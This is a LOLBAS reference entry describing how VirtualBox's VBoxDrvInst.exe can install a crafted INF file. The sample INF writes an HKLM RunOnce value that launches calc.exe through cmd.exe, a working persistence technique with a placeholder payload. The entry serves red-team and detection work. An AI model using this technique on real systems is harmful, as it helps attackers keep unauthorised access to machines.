LOLBAS/OtherBinaries/VBoxDrvInst.md

VBoxDrvInst.exe

• Functions: Persistence

VBoxDrvInst.exe driver executeinf c:\temp\calc.inf      

Acknowledgements:

• Pierre-Alexandre Braeken - @pabraeken

Code sample: *

Resources:

• https://twitter.com/pabraeken/status/993497996179492864

Full path:

C:\Program Files\Oracle\VirtualBox Guest Additions

Notes: calc.inf

; DRIVER.INF
; Copyright (c) Microsoft Corporation.  All rights reserved.
 
[Version]
Signature = "$CHICAGO$"
Class=61883
ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}
Provider=%Msft%
DriverVer=06/21/2006,6.1.7600.16385
 
[DestinationDirs]
DefaultDestDir = 1
 
[DefaultInstall]
AddReg = CalcStart

[CalcStart]
HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,cmd.exe /c """calc.exe"""